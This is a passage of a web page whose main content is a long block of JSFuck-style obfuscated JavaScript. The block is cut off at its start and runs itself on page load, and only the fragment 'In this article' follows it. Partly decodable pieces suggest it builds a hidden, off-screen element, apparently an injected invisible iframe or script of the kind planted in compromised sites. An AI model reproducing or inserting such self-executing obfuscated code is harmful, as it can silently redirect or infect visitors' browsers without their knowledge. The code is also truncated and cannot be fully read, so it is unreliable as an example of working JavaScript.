+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[45]+$[1]+$[22]+$[46]+([]+[]+{})[+!+[]]+$[3]+$[31]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[44]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[42]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[43]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[23]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[46]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[17]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+$[17]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[18]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[44]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[42]+$[9]+$[44]+$[23]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[23]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[31]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[41]+$[9]+$[47]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[42]+$[9]+$[11]+$[44]+$[9]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[39]+$[31]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[48]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[23]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[48]+$[14]+$[27]+$[27]+$[49]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[48]+$[14]+$[27]+$[27]+$[49]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[32]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[48]+$[26]+$[27]+$[27]+$[27]+$[27]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[48]+$[27]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[31]+$[48]+$[27]+$[5]+$[39]+$[50]+$[38]+$[40]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[50]+$[9]+$[6]+$[51])();

In this article